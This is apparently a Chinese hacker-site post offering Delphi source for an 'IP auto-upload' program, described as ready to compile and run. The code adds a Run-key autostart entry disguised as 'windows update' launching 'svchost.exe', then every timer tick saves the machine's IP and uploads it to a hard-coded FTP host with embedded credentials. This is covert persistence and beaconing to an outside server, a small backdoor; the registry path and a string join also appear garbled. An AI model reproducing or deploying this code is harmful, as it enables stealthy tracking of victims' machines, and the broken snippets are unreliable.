程序功能,获取主机ip然后上传到指定的ftp,检测时间间隔每30min。程序源代码编译即可直接运行。
代码语言:javascript复制///////////////////////////////////////////////
//火星黑客研究院
//IP 自动上传
//Code by obaby
//http://www.h4ck.org.cn
//http://www.obaby.org.cn
//////////////////////////////////////////////
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, IdBaseComponent, IdComponent, IdIPWatch, StdCtrls, ExtCtrls,
IdTCPConnection, IdTCPClient,registry, IdFTP;
type
TForm1 = class(TForm)
IdIPWatch1: TIdIPWatch;
Memo1: TMemo;
Timer1: TTimer;
IdFTP1: TIdFTP;
procedure FormCreate(Sender: TObject);
procedure Timer1Timer(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
servername:string;
username:string;
userpwd:string;
Reg:TRegistry;
implementation
{$R *.dfm}
procedure TForm1.FormCreate(Sender: TObject);
begin
Reg:=TRegistry.Create; //创建一个新键
Reg.RootKey:=HKEY_LOCAL_MACHINE; //将根键设置为HKEY_LOCAL_MACHINE
Reg.OpenKey('SOFTWAREMicrosoftwindowsCurrentVersionRun',true);//打开一个键
Reg.WriteString('windows update',ExtractFilePath(Application.Exename) 'svchost.exe'); //在Reg这个键中写入数据名称和数据数值
Reg.CloseKey; //关闭键
end;
procedure TForm1.Timer1Timer(Sender: TObject);
begin
servername:='www.h4ck.org.cn';
username:='h4ck-obaby';
userpwd:='1234567890987654321';
memo1.Clear;
form1.Caption:=IdIPWatch1.LocalIP;
memo1.Lines.Add (IdIPWatch1.LocalIP );
memo1.lines.SaveToFile('ip.txt');
sleep (5000);
idftp1.Host:=servername;
idftp1.Username:=username;
idftp1.Password:=userpwd;
IdFTP1.Connect();
sleep (1000);
// IdFTP1.TransferType := ftBinary ;
idftp1.Put('ip.txt','ip.txt');
//showmessage('upload suscess');
end;
end.